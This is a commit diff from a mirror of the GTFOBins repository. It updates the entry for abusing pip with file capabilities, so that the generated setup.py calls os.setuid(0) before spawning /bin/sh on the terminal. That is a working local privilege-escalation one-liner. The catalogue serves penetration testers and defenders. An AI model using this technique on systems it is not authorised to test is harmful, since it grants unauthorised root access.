mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 09:34:56 +02:00
Fix pip setcap
This commit is contained in:
@@ -79,6 +79,6 @@ functions:
|
|||||||
capabilities-enabled:
|
capabilities-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
|
||||||
./pip install $TF
|
./pip install $TF
|
||||||
---
|
---
|
||||||
|
Reference in New Issue
Block a user